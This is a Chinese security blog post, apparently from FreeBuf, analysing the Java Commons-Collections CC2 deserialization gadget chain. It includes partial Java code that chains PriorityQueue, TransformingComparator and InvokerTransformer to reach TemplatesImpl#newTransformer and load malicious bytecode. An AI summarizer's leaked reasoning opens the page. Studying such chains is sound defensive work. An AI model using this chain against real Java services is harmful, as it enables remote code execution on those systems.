Java安全——CC2
好,我现在需要帮用户总结这篇文章的内容,控制在100字以内。首先,我得通读整篇文章,理解主要讲了什么。 文章主要讨论的是Java安全中的反序列化漏洞链,特别是CC2环境的部分。作者详细描述了漏洞链的逻辑,包括入口类PriorityQueue的readObject方法,以及后续的heapify、siftDown等步骤。接着,文章比较了CC3和CC2的不同之处,指出CC2跳过了中间步骤,直接调用TemplatesImpl#newTransformer方法。最后,提到了通过反射修改transformer来实现恶意代码加载。 用户的要求是用中文总结,并且控制在100字以内。不需要特定的开头,直接写描述即可。因此,我需要提取关键点:反序列化漏洞链、入口类PriorityQueue、漏洞利用逻辑、TemplatesImpl的调用以及恶意代码加载方式。 现在把这些点浓缩成一句话:文章分析了Java反序列化漏洞链CC2环境下的利用逻辑,重点描述了通过PriorityQueue入口类和TransformingComparator调用TemplatesImpl#newTransformer方法实现恶意代码加载的过程。 检查一下字数是否在100字以内,并确保涵盖了主要的技术点和流程。 </think> 文章分析了Java反序列化漏洞链CC2环境下的利用逻辑,重点描述了通过PriorityQueue入口类和TransformingComparator调用TemplatesImpl#newTransformer方法实现恶意代码加载的过程。 2026-1-29 09:4:33 Author: www.freebuf.com(查看原文) 阅读量:1 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

java安全-CC2

  • 环境部分没什么好说的,这个链主要是简单修改了 CC4 的 transform 方法类逻辑

一、主要逻辑

1.invokeTransformer

CC4的入口类PriorityQueue被保留下来

入口逻辑对比CC4

PriorityQueue#readObject
	PriorityQueue#heapify
		PriorityQueue#siftDown
			PriorityQueue#siftDownUsingComparator
				TransformingComparator#compare

CC3部分
ChainedTransformer#transform
InstantiateTransformer#transform
TrAXFilter#getConstructor
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
加载恶意字节码

CC2只是对其中的CC3部分做出了改变,直接跳过中间步骤,使用invokeTransformer调用TemplatesImpl#newTransformer方法

Transformer invokeTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

进而调用TransformingComparator#compare时,直接调用的InvokerTransformer#transform方法

Transformer invokeTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);
//添加两个元素
queue.add(1);
queue.add(1);
setFieldValue(comparator, "transformer", invokeTransformer);

老样子,为了防止生成恶意代码时 add 方法起火,我们通过反射最后修改 transformer

2.queue.add(1)

这个方法大有用处,在调用TransformingComparator#compare时,直接调用的InvokerTransformer#transform方法时,这里transform方法的参数就是我们传进去的1

在之前的链路逻辑中,使用了 ConstantTransformer 这个来控制这个参数,但是这条链为了避免数组的使用,所以没有使用 ChainedTransformer 包装恶意类,而是直接传 InvokerTransformer 类,因此,我们这里传参需要为,恶意类 TemplatesImpl

免责声明

1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。

2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。

3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。

已在FreeBuf发表 0 篇文章

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/web/468837.html
如有侵权请联系:admin#unsafe.sh